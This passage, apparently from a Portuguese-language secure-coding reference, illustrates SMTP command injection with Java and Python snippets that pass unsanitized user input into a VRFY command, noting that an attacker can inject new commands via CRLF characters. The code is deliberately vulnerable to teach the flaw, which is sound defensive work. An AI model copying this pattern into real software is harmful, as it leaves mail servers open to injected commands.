transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
que é enviado ao servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...